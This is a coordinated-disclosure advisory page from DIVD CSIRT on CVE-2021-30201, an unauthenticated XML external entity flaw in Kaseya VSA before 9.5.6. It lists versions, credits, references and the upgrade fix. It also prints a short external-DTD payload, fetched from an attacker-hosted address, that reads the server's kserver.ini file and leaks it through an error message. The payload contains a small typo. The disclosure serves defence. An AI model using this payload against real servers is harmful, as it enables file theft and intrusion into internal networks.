DIVD CSIRT

Making the internet safer through Coordinated Vulnerability Disclosure

Home	+
Cases	+
CVEs	+
Blog	+
Donate	
Search	
RSS	
Contact	

CVE-2021-30201 - UNAUTHENTICATED XML EXTERNAL ENTITY VULNERABILITY IN KASEYA VSA < V9.5.6

CVE	CVE-2021-30201
Case	DIVD-2021-00011
Discovered by	Wietse Boonstra
Credits	 Discovered by <u>Wietse Boonstra</u> of DIVD Additional research by <u>Frank Breedijk</u> of DIVD
Products	Kaseya: • Kaseya VSA
Versions	Kaseya: • Kaseya VSA • 9.x (< 9.5.6)
CVSS	Base score: 7.5
References	https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ https://helpdesk.kaseya.com/hc/en-qb/articles/360019966738-9-5-6-Feature-Release-8-May-2021

- https://csirt.divd.nl/DIVD-2021-00011
- <u>https://csirt.divd.nl/CVE-2021-30201</u>

Solution	Upgrade to version 9.5.6 or higher
Last modified	14 Dec 2022 20:32

DESCRIPTION

The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker.

Detailed description

Given the following request:

And the following XML file hosted at http://192.168.1.170/oob.dtd:

```
<!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver.ini">
<!ENTITY % eval "<!ENTITY 6*x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

The server will fetch this XML file and process it, it will read the file c:\kaseya\kserver\kserverini and returns the content in the server response like below. Response:

SECURITY ISSUES DISCOVERED

- The API insecurely resolves external XML entities
- The API has an overly verbose error response

Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.

JSON version

▼ Tyvitte

in LinkedIn